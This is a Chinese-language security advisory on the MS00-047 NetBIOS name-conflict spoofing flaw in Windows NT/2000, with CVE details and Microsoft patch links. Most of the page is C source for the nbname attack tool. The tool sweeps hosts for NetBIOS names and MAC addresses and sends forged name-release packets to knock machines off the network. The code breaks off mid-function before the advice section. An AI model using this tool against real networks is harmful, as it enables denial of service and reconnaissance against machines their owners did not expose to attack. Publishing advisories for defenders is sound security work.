首页 -> 安全研究
安全研究
安全漏洞
Microsoft Windows NT/2000 NetBIOS名称冲突漏洞(MS00-047)
发布日期:2000-07-27
更新日期:2000-07-27
受影响系统:
Microsoft Windows NT Workstation 4.0描述:
Microsoft Windows NT 4.0 Server
Microsoft Windows 2000
BUGTRAQ ID: 1514
CVE(CAN) ID: CVE-2000-0673
Microsoft Windows NT/2000是微软发布的非常流行的操作系统。
Windows系统中实现了NetBIOS名称服务(NBNS)协议用作Windows Internet名称服务(WINS)。根据设计,NBNS允许网络对等端帮助管理名称冲突,但这个协议是个未认证的协议,可能会被欺骗。攻击者可以滥用名称冲突机制,导致其他机器认为其名称发生了冲突,这样机器就无法在网络中注册名称,或放弃已注册的名称。
远程攻击者可以通过向NetBIOS名称服务发送NetBIOS名称冲突消息导致拒绝服务。
<*来源:COVERT Labs
链接:http://www.microsoft.com/technet/security/bulletin/MS00-047.asp
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
// Copyright 2000 Sir Dystic of the Cult of the Dead Cow - sd@cultdeadcow.com
//
// For Win32 should be compiled with /DWIN32 /MT (use multi-threaded libraries)
// If it complains about socklen_t try adding -Dsocklen_t=int
//
// Thanks to all the people who helped me with ideas, testing and making it work
// under Unix, especially:
// Optyx, FreqOut, Nyar, Netmask, T12, and many others I am too lame to remember
/*
Version history:
v1.8 - July 29, 2000
Discussed nbname at Defcon
v1.9 - August 1, 2000
Began keeping history
Added /SCAN option
Added /RETRY option
Changed /NOBOOTY option to /ALLOW and /DENY (sorry all you anal lovers)
Made commandline options case-insensitive (thanks missnglnk for being aware of
strcasecmp() which nobody else mentioned to me)
Added /RESPOND option
*/
#ifdef WIN32
// comment the following line to make a Winsock 1.1 compile
#define WINSOCK2
#pragma comment(linker, "/SUBSYSTEM:CONSOLE")
#define CLOSESOCKET(x) closesocket(x)
#define GETSOCKETERROR() WSAGetLastError()
#define GETRANDSEED() GetTickCount()
#define SLEEP(x) Sleep(x)
#define CREATETHREAD(x, y) _beginthread(x, 0, y)
#define EXITTHREAD() _endthread()
#define STRICMP(x, y) stricmp(x, y)
#define STRNICMP(x, y, z) strnicmp(x, y, z)
#include <process.h>
#ifdef WINSOCK2
#include <winsock2.h>
#include <Ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
#else
#include <windows.h>
#include <winsock.h>
#pragma comment(lib, "wsock32.lib")
#endif
#include <time.h>
#include <io.h>
#endif
// common includes
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#ifndef WIN32
#include <sys/socket.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <time.h>
typedef unsigned char BYTE, *LPBYTE;
typedef unsigned short WORD, *LPWORD;
typedef unsigned long DWORD, *LPDWORD;
typedef unsigned long BOOL, *LPBOOL;
typedef int SOCKET;
typedef struct sockaddr SOCKADDR;
typedef struct sockaddr_in SOCKADDR_IN;
typedef SOCKADDR *LPSOCKADDR;
typedef SOCKADDR_IN *LPSOCKADDR_IN;
typedef struct hostent HOSTENT;
typedef HOSTENT *LPHOSTENT;
typedef unsigned long ULONG;
typedef unsigned short USHORT;
typedef long LONG;
#define GETSOCKETERROR() 0
#define GETRANDSEED() clock()
#define CLOSESOCKET(x) close(x)
#define SLEEP(x) usleep(x*1000)
#define STRICMP(x, y) strcasecmp(x, y)
#define STRNICMP(x, y, z) strncasecmp(x, y, z)
#define MAKEWORD(a, b) ((WORD)(((BYTE)(a)) | ((WORD)((BYTE)(b))) << 8))
#define MAKEULONG(l, h) ((ULONG)(((USHORT)(l)) | ((ULONG)((USHORT)(h))) << 16))
#define MAKELONG(l, h) ((LONG)MAKEULONG(l, h))
#define FALSE 0
#define TRUE 1
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#endif
#pragma pack(1)
#define NETBIOSNAMEPORT 137
#define WILDCARDNAME "*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
// uncomment the following line to display statistics info (windows and samba boxes seem to always set this info to 0s)
//#define STUFFTHATSUSUALLYALLZERO
BOOL g_Astat = FALSE;
BOOL g_Conflict = FALSE;
BOOL g_FindAll = FALSE;
BOOL g_Reverse = FALSE;
BOOL g_NoLocal = FALSE;
BOOL g_NoLocalNet = FALSE;
char *g_OutServsFile = NULL;
char *g_OutAllFile = NULL;
char *g_ASOutFile = NULL;
char *g_SpawnCommand = NULL;
char *g_SpawnArgs = NULL;
char *g_ScanFile = NULL;
char *g_AllowName = NULL;
char *g_DenyName = NULL;
char *g_RespondName = NULL;
DWORD g_TargetIP = INADDR_NONE;
DWORD g_LocalIP = INADDR_NONE;
DWORD g_BroadcastIP = INADDR_BROADCAST;
DWORD g_NetmaskIP = 0;
DWORD g_SweepStartIP = 0;
DWORD g_SweepEndIP = 0;
DWORD g_PacketDelay = 100;
DWORD g_ReceiveTimeout = 0;
WORD g_LocalPort = NETBIOSNAMEPORT;
int g_Retries = 3;
#define ONT_BNODE 0
#define ONT_PNODE 1
#define ONT_MNODE 2
#define ONT_HNODE 3
typedef struct
{
BYTE UnitID[6]; // MAC address
BYTE Jumpers;
BYTE TestResult;
WORD Version;
WORD StatsPeriod;
WORD NumCRCs;
WORD NumAlignmentErrors;
WORD NumCollisions;
WORD NumSendAborts;
DWORD NumGoodSends;
DWORD NumGoodRcvs;
WORD NumRetransmits;
WORD NumResourceConditions;
WORD NumFreeCommandBlocks;
WORD NumCommandBlocks;
WORD NumMaxCommandBlocks;
WORD NumPendingSessions;
WORD NumMaxPendingSessions;
WORD NumMaxTotalSessions;
WORD SessionDataPacketSize;
} NETBIOSSTATS, *PNETBIOSSTATS;
typedef struct
{
WORD Reserved:13;
WORD ONT:2; // Owner Node Type:
// 00 = B node
// 01 = P node
// 10 = M node
// 11 = Reserved for future use
// For registration requests this is the
// claimant's type.
// For responses this is the actual owner's type.
WORD fGroup:1; // Group Name Flag.
// If one (1) then the RR_NAME is a GROUP NetBIOS name.
// If zero (0) then the RR_NAME is a UNIQUE NetBIOS name.
} NBFLAGS;
typedef struct
{
WORD Reserved:9; // Reserved for future use. Must be zero (0).
WORD fPermanent:1; // Permanent Name Flag. If one (1) then entry is for the permanent node name.
// Flag is zero (0) for all other names.
WORD fActive:1; // Active Name Flag. All entries have this flag set to one (1).
WORD fConflict:1; // Conflict Flag. If one (1) then name on this node is in conflict.
WORD fDeregister:1; // Deregister Flag. If one (1) then this name is in the process of being deleted.
WORD OwnerType:2; // Owner Node Type:
// 00 = B node
// 01 = P node
// 10 = M node
// 11 = Reserved for future use
WORD fGroupName:1; // Group Name Flag.
// If one (1) then the name is a GROUP NetBIOS name.
// If zero (0) then it is a UNIQUE NetBIOS name.
} NETBIOSNAMEFLAGS;
typedef struct
{
char Name[15]; // uncompressed name
BYTE BinVal; // binary value
WORD Flags; // flags
} NETBIOSNAME, *PNETBIOSNAME;
#define RCODE_FMTERR 0x1
#define RCODE_SRVERR 0x2
#define RCODE_NAMERR 0x3
#define RCODE_IMPERR 0x4
#define RCODE_RFSERR 0x5
#define RCODE_ACTERR 0x6
#define RCODE_CFTERR 0x7
typedef struct
{
WORD Type; // type of recource record
WORD Class; // class of resource record (always IN)
DWORD TTL; // Time to live
WORD RDLength; // length of following resource data
} RESOURCERECORDHEADER, *PRESOURCERECORDHEADER;
#define RRTYPE_A 0x0001
#define RRTYPE_NS 0x0002
#define RRTYPE_NULL 0x000A
#define RRTYPE_NB 0x0020
#define RRTYPE_NBSTAT 0x0021
#define RRCLASS_IN 0x0001
typedef struct
{
WORD RCode : 4; // response code
WORD fNM_B : 1; // Broadcast flag
WORD fNM_00 : 2; // reserved, always 0
WORD fNM_RA : 1; // Recursion Available flag
WORD fNM_RD : 1; // Recursion Desired flag
WORD fNM_TC : 1; // Truncation flag
WORD fNM_AA : 1; // Authoratative answer flag
WORD OpCode : 4; // Operation code
WORD fResponse:1; // Response flag
} OPCODEFLAGSRCODE;
typedef struct {
WORD TransactionID; // transaction id, responses match original packet, requests are random/sequential
WORD OpcodeFlagsRcode; // opcode, flags and rcode
WORD QDCount; // number of questions
WORD ANCount; // number of answer resource records
WORD NSCount; // number of name service resource records
WORD ARCount; // number of athoratative resource records
} NBNAMEHEADER, *PNBNAMEHEADER;
#define OPCODE_QUERY 0
#define OPCODE_REGISTRATION 5
#define OPCODE_RELEASE 6
#define OPCODE_WACK 7
#define OPCODE_REFRESH 8
typedef struct{
BYTE Name[34]; // compressed name
WORD Type; // question type
WORD Class; // question class (always type IN - Internet)
} QUESTION, *PQUESTION;
#define QUESTION_TYPE_NB 0x0020 // general name request
#define QUESTION_TYPE_NBSTAT 0x0021 // stats request
#define QUESTION_CLASS_IN 0x0001 // internet class
unsigned char hexvals[16] = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
void PrintNetbiosName(unsigned char *name)
{
BYTE BinVal;
char PrintName[16];
memcpy(PrintName, name, 15);
PrintName[15] = 0;
BinVal = name[15];
printf("%15s <%02x>", PrintName, BinVal);
}
int NetbiosNameToString(char *dest, const BYTE *src, int PacketLeft)
{
int y;
static unsigned char Name[32];
unsigned char UncompressedName[256];
unsigned char hexbuf[3];
char *ptr;
BYTE len;
// get length of string
len = *src;
if (len & 0xC0) // name pointer or other
{
len = 0;
// just return last name read
} else {
if (len <= PacketLeft)
{
puts("[Short name, aborting]");
return 0;
}
memset(UncompressedName, 0, sizeof(UncompressedName));
memset(Name, ' ', sizeof(Name) );
memcpy(UncompressedName, src+1, len);
for (y = 0; y < 16; y++)
{
hexbuf[0] = hexvals[UncompressedName[y*2] - 'A'];
hexbuf[1] = hexvals[UncompressedName[y*2+1] - 'A'];
hexbuf[2] = 0;
Name[y] = (BYTE)strtoul((char *)hexbuf, &ptr, 16);
}
}
memcpy(dest, (const char *)Name , 16);
return (int)(len+2);
}
int StringToNetbiosName(char *dest, const char *src, BYTE binval)
{
int x, y;
unsigned char Name[16];
unsigned char UncompressedName[256];
char hexbuf[2];
// set name to all zeros
memset(Name, 0, sizeof(Name));
// get length of name
x = strlen(src);
// truncate at 15th char
if (x > 15) x = 15;
// copy up to 15 chars leaving the rest space padded
memcpy(Name, src, x);
// uppercase the name
Name[15] = 0;
for (y = 0; y < 15; y++)
Name[y] = toupper((int)Name[y]);
// set 16th binary char
Name[15] = binval;
UncompressedName[0] = 32;
// convert each char to hex
for (x = 0; x < 16; x++)
sprintf((char *)&UncompressedName[(x*2)+1], "%02X", (DWORD)Name[x] );
// add 'A' to each char
for (x = 1; x <= 32; x++)
{
char *ptr;
hexbuf[0] = UncompressedName[x];
hexbuf[1] = 0;
UncompressedName[x] = 'A' + (BYTE)strtoul(hexbuf, &ptr, 16);;
}
UncompressedName[33] = 0;
#if 0
// add SCOPE_ID
UncompressedName[33] = 7;
memcpy((char *)&UncompressedName[34], "NETBIOS", 7);
UncompressedName[41] = 3;
memcpy((char *)&UncompressedName[42], "COM", 3);
#endif
// set the length
x = 34;
memcpy(dest, UncompressedName, x);
return x;
}
DWORD FormPacket(unsigned char *buff, WORD TranID, BYTE Opcode, char *QuestionName, WORD QuestionType, BOOL fResponse, BOOL fBroadcast, BOOL fTruncated, BOOL fRecursionAvailable, BOOL fRecursionDesired, BOOL fAuthoratativeAnswer, WORD RCode, WORD QDCount, WORD ANCount, WORD NSCount, WORD ARCount, DWORD TargetIP, BOOL fGroup, BYTE ONT)
{
NBFLAGS nbflags;
PNBNAMEHEADER pnbnameheader = (PNBNAMEHEADER)buff;
OPCODEFLAGSRCODE Wcode;
BYTE *ptr, *firstnameptr = NULL;
DWORD d;
WORD w;
memset(pnbnameheader, 0, sizeof(NBNAMEHEADER) );
pnbnameheader->TransactionID = TranID; // Transaction ID
Wcode.fResponse = fResponse; // request not response
Wcode.OpCode = Opcode; // operation code (command)
Wcode.fNM_00 = 0; // always 0
Wcode.fNM_B = fBroadcast; // broadcast
Wcode.fNM_RA = fRecursionAvailable; // always 0 for requests
Wcode.fNM_RD = fRecursionDesired; // no recursion requested
Wcode.fNM_TC = fTruncated; // not truncated
Wcode.fNM_AA = fAuthoratativeAnswer;// always 0 for requests
Wcode.RCode = RCode;
pnbnameheader->OpcodeFlagsRcode = htons(*((WORD*)&Wcode));
pnbnameheader->QDCount = htons(QDCount);
pnbnameheader->ANCount = htons(ANCount);
pnbnameheader->ARCount = htons(ARCount);
pnbnameheader->NSCount = htons(NSCount);
ptr = (BYTE *)(pnbnameheader + 1);
if (QDCount > 0)
{
PQUESTION pquestion = (PQUESTION)ptr;
StringToNetbiosName((char *)pquestion->Name, QuestionName, QuestionName[15]);
firstnameptr = pquestion->Name;
pquestion->Type = htons(QuestionType);
pquestion->Class = htons(QUESTION_CLASS_IN);
ptr += sizeof(QUESTION);
}
if (ANCount > 0)
{
d = StringToNetbiosName((char *)ptr, QuestionName, QuestionName[15]);
ptr += d;
PRESOURCERECORDHEADER presrecordheader = (PRESOURCERECORDHEADER)ptr;
presrecordheader->Class = htons(RRCLASS_IN);
presrecordheader->RDLength = htons(6);
presrecordheader->TTL = 0;
presrecordheader->Type = htons(RRTYPE_NB);
ptr += sizeof(RESOURCERECORDHEADER);
nbflags.fGroup = fGroup;
nbflags.Reserved = 0;
nbflags.ONT = ONT;
memcpy(&w, &nbflags, sizeof(WORD) );
w = htons(w);
memcpy(ptr, &w, sizeof(WORD));
ptr += sizeof(WORD);
*((DWORD *)ptr) = TargetIP;
ptr += sizeof(DWORD);
}
if (ARCount > 0)
{
if (firstnameptr == NULL)
{
d = StringToNetbiosName((char *)ptr, QuestionName, QuestionName[15]);
ptr += d;
}
else
{
*((WORD *)ptr) = htons(0xC000 | (firstnameptr - buff));
ptr+=2;
}
PRESOURCERECORDHEADER presrecordheader = (PRESOURCERECORDHEADER)ptr;
presrecordheader->Class = htons(RRCLASS_IN);
presrecordheader->RDLength = htons(6);
presrecordheader->TTL = 0;
presrecordheader->Type = htons(RRTYPE_NB);
ptr += sizeof(RESOURCERECORDHEADER);
nbflags.fGroup = fGroup;
nbflags.Reserved = 0;
nbflags.ONT = ONT;
memcpy(&w, &nbflags, sizeof(WORD) );
w = htons(w);
memcpy(ptr, &w, sizeof(WORD));
ptr += sizeof(WORD);
*((DWORD *)ptr) = TargetIP ;
ptr += sizeof(DWORD);
}
return (DWORD)(ptr - buff);
}
DWORD ProcessResourceRecord(const BYTE *ptr, int Type, SOCKET sock, LPSOCKADDR_IN psockaddr, int PacketLeft)
{
BYTE outbuff[1024];
char NameBuff[256];
WORD w, RRType, RRClass, RRRDLength, NameFlags, TranID;
DWORD d, RRTTL;
BYTE NumNames;
BYTE BinVal;
NETBIOSNAMEFLAGS NameFlagsStruct;
NBFLAGS nbflags;
int x;
d = NetbiosNameToString(NameBuff, ptr, PacketLeft);
if (d == 0) return 0;
PrintNetbiosName((BYTE *)NameBuff);
puts("");
ptr += d;
if (PacketLeft - d < sizeof(RESOURCERECORDHEADER) || PacketLeft - d < sizeof(RESOURCERECORDHEADER) + ntohs(((PRESOURCERECORDHEADER)ptr)->RDLength) )
{
puts("[Short record, aborting]");
return 0;
}
PRESOURCERECORDHEADER presrecordheader = (PRESOURCERECORDHEADER)ptr;
RRType = ntohs(presrecordheader->Type);
RRClass = ntohs(presrecordheader->Class);
RRTTL = ntohl(presrecordheader->TTL);
RRRDLength = ntohs(presrecordheader->RDLength);
ptr = (LPBYTE)(presrecordheader+1);
switch (RRType)
{
case RRTYPE_A:
printf("IP Address Resource Record:\n");
break;
case RRTYPE_NS:
printf("Name Service Resource Record:\n");
break;
case RRTYPE_NULL:
printf("NULL Resource Record:\n");
break;
case RRTYPE_NB :
printf("NetBIOS Name Service Resource Record:\n");
break;
}
if (g_FindAll && RRType == RRTYPE_NB && memcmp(NameBuff, WILDCARDNAME, 16) == 0)
{
d = FormPacket(outbuff, rand(), OPCODE_QUERY, WILDCARDNAME, QUESTION_TYPE_NBSTAT, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 0, 0, 0, ONT_BNODE);
sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) );
printf(" **** NBSTAT request packet sent\n");
}
switch (RRType)
{
case RRTYPE_A:
case RRTYPE_NS:
break;
case RRTYPE_NULL:
case RRTYPE_NB :
for (x = 0; x < RRRDLength / 6; x++)
{
memcpy(&w, ptr, sizeof(w) );
w = ntohs(w);
memcpy(&nbflags, &w, sizeof(w) );
ptr += sizeof(WORD);
printf("Owner Node Type: ");
switch (nbflags.ONT)
{
case ONT_BNODE:
printf("B-NODE ");
break;
case ONT_PNODE:
printf("P-NODE ");
break;
case ONT_MNODE:
printf("M-NODE ");
break;
case ONT_HNODE:
printf("H-NODE ");
}
printf(" ");
if (nbflags.fGroup)
printf("GROUP ");
else
printf("UNIQUE ");
printf(" - ");
printf("IP: %u.%u.%u.%u", *ptr, *(ptr+1), *(ptr+2),*(ptr+3));
ptr+=4;
puts("");
}
break;
case RRTYPE_NBSTAT:
{
FILE *outfile = NULL;
printf("Node Status Resource Record:\n");
NumNames = *ptr;
ptr++;
PNETBIOSNAME pnetbiosname = (PNETBIOSNAME)ptr;
if (NumNames > 0 && g_OutAllFile != NULL)
{
outfile = fopen(g_OutAllFile , "at");
if (outfile != NULL)
{
BinVal = pnetbiosname->BinVal;
pnetbiosname->BinVal = 0;
fprintf(outfile, "%s %s\n", inet_ntoa(psockaddr->sin_addr), pnetbiosname->Name);
pnetbiosname->BinVal = BinVal;
fclose(outfile);
printf(" **** Machine added to %s\n", g_OutAllFile );
outfile = NULL;
}
}
if (g_ASOutFile != NULL)
{
outfile = fopen(g_ASOutFile, "at");
if (outfile != NULL)
{
time_t curtime = time(NULL);
fprintf(outfile, "ASTAT response from %s at %s", inet_ntoa(psockaddr->sin_addr), ctime(&curtime) );
}
}
for (w = 0; w < NumNames; w++)
{
char *tptr;
BinVal = pnetbiosname->BinVal;
pnetbiosname->BinVal = 0;
printf("%s <%02x> ", pnetbiosname->Name, BinVal );
if (outfile != NULL)
fprintf(outfile, "%s <%02x> ", pnetbiosname->Name, BinVal );
pnetbiosname->BinVal = BinVal;
NameFlags = ntohs(pnetbiosname->Flags);
memcpy(&NameFlagsStruct, &NameFlags, sizeof(NameFlags) );
if (NameFlagsStruct.fActive)
tptr = "ACTIVE ";
else
tptr = "INACTIVE ";
printf("%s", tptr);
if (outfile != NULL)
fprintf(outfile, "%s", tptr);
if (NameFlagsStruct.fGroupName)
tptr = "GROUP ";
else
tptr = "UNIQUE ";
printf("%s", tptr);
if (outfile != NULL)
fprintf(outfile, "%s", tptr);
if (NameFlagsStruct.fPermanent)
tptr = "PERMANENT ";
else
tptr = "NOTPERM ";
printf("%s", tptr);
if (outfile != NULL)
fprintf(outfile, "%s", tptr);
if (NameFlagsStruct.fConflict)
tptr = "INCONFLICT ";
else
tptr = "NOCONFLICT ";
printf("%s", tptr);
if (outfile != NULL)
fprintf(outfile, "%s", tptr);
if (NameFlagsStruct.fDeregister)
tptr = "DEREGISTERED ";
else
tptr = "NOTDEREGED ";
printf("%s", tptr);
if (outfile != NULL)
fprintf(outfile, "%s", tptr);
switch (NameFlagsStruct.OwnerType)
{
case ONT_BNODE:
tptr = "B-NODE ";
break;
case ONT_PNODE:
tptr = "P-NODE ";
break;
case ONT_MNODE:
tptr = "M-NODE ";
break;
case ONT_HNODE:
tptr = "H-NODE ";
}
printf("%s\n", tptr);
if (outfile != NULL)
fprintf(outfile, "%s\n", tptr);
if (!NameFlagsStruct.fGroupName && BinVal == 0x20 )
{
if (g_OutServsFile != NULL)
{
FILE *outfile2 = fopen(g_OutServsFile, "at");
if (outfile2 != NULL)
{
pnetbiosname->BinVal = 0;
fprintf(outfile2, "%s %s\n", inet_ntoa(psockaddr->sin_addr), pnetbiosname->Name);
pnetbiosname->BinVal = BinVal;
fclose(outfile2);
printf(" **** Machine added to %s\n", g_OutServsFile );
}
}
if (g_SpawnCommand != NULL)
{
char buff[1024];
pnetbiosname->BinVal = 0;
sprintf(buff, "%s", inet_ntoa(psockaddr->sin_addr));
#ifdef WIN32
if (_spawnlpe(_P_NOWAIT, g_SpawnCommand, g_SpawnCommand, g_SpawnArgs, pnetbiosname->Name, buff, NULL, NULL) == -1)
printf(" *** Error spawning \"%s\"\n", g_SpawnCommand);
else
{
printf(" **** Spawned \"%s\"\n", g_SpawnCommand);
}
#else
if (fork() == 0)
if (execlp(g_SpawnCommand, g_SpawnCommand, g_SpawnArgs, pnetbiosname->Name, buff, NULL) == -1 )
{
printf(" *** Error spawning \"%s %s %s %s\"\n", g_SpawnCommand, g_SpawnArgs, pnetbiosname->Name, buff );
exit(0);
}
#endif
pnetbiosname->BinVal = BinVal;
SLEEP(20);
}
}
if (g_Conflict && !NameFlagsStruct.fConflict )
{
TranID = rand();
d = FormPacket(outbuff, TranID, OPCODE_RELEASE, pnetbiosname->Name, QUESTION_TYPE_NB, FALSE, FALSE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 1, psockaddr->sin_addr.s_addr, NameFlagsStruct.fGroupName, NameFlagsStruct.OwnerType);
sendto(sock, (const char *)outbuff, d, 0, (LPSOCKADDR)psockaddr, sizeof(SOCKADDR_IN) );
printf(" **** Name release sent to %s\n", inet_ntoa(psockaddr->sin_addr) );
}
pnetbiosname++;
}
PNETBIOSSTATS pnetbiosstats = (PNETBIOSSTATS)pnetbiosname;
printf("MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n", pnetbiosstats->UnitID[0], pnetbiosstats->UnitID[1], pnetbiosstats->UnitID[2], pnetbiosstats->UnitID[3], pnetbiosstats->UnitID[4], pnetbiosstats->UnitID[5] );
if (outfile != NULL)
fprintf(outfile, "MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n\n", pnetbiosstats->UnitID[0], pnetbiosstats->UnitID[1], pnetbiosstats->UnitID[2], pnetbiosstats->UnitID[3], pnetbiosstats->UnitID[4], pnetbiosstats->UnitID[5] );
#ifdef STUFFTHATSUSUALLYALLZERO
printf("\nStatistics:\n");
printf("Jumpers: 0x%02x\n", pnetbiosstats->Jumpers);
printf("Test result: 0x%02x\n", pnetbiosstats->TestResult);
printf("Version: %d.%d\n", HIBYTE(pnetbiosstats->Version), LOBYTE(pnetbiosstats->Version) );
printf("Stats period: 0x%04x\n", ntohs(pnetbiosstats->StatsPeriod) );
printf("Num CRCs: %u\n", ntohs(pnetbiosstats->NumCRCs ) );
printf("Num Alignment errs: %u\n", ntohs(pnetbiosstats->NumAlignmentErrors ) );
printf("Num Collisions: %u\n", ntohs(pnetbiosstats->NumCollisions ) );
printf("Num Send Aborts: %u\n", ntohs(pnetbiosstats->NumSendAborts ) );
printf("Num Good Sends: %u\n", ntohl(pnetbiosstats->NumGoodSends ) );
printf("Num Good Receives: %u\n", ntohl(pnetbiosstats->NumGoodRcvs ) );
printf("Num Retransmits: %u\n", ntohs(pnetbiosstats->NumRetransmits ) );
printf("Num Resource Conditions: %u\n", ntohs(pnetbiosstats->NumResourceConditions ) );
printf("Free Command Blocks: %u\n", ntohs(pnetbiosstats->NumFreeCommandBlocks ) );
printf("Total Command Blocks: %u\n", ntohs(pnetbiosstats->NumCommandBlocks ) );
printf("Max Command Blocks %u\n", ntohs(pnetbiosstats->NumMaxCommandBlocks ) );
printf("Pending Sessions: %u\n", ntohs(pnetbiosstats->NumPendingSessions ) );
printf("Max Pending Sessions: %u\n", ntohs(pnetbiosstats->NumMaxPendingSessions ) );
printf("Max Total Sessions: %u\n", ntohs(pnetbiosstats->NumMaxTotalSessions ) );
printf("Session Data Packet Size:%u\n", ntohs(pnetbiosstats->SessionDataPacketSize ) );
#endif
if (outfile != NULL)
{
fclose(outfile);
outfile = NULL;
}
}
break;
default:
printf("Unknown resource record type: 0x%04x\n", RRType);
break;
}
return d + RRRDLength + sizeof(RESOURCERECORDHEADER);
}
DWORD ProcessPacket(char *buff, int packetsize, SOCKET sock, LPSOCKADDR_IN psockaddr)
{
char NameBuff[256];
PNBNAMEHEADER pnbnameheader = (PNBNAMEHEADER)buff;
OPCODEFLAGSRCODE Wcode;
WORD w, QDCount, ANCount, NSCount, ARCount, RCode, OPCode;
建议:
厂商补丁:
Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS00-047)以及相应补丁:
MS00-047:Patch Available for "NetBIOS Name Server Protocol Spoofing"
链接:http://www.microsoft.com/technet/security/bulletin/MS00-047.asp
补丁下载:
Windows 2000:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23370
Windows NT 4.0 Workstation, Server和Server, Enterprise Edition:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=22138
Windows NT 4.0 Server, Terminal Server Edition:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24516
浏览次数:6503
严重程度:0(网友投票)
绿盟科技给您安全的保障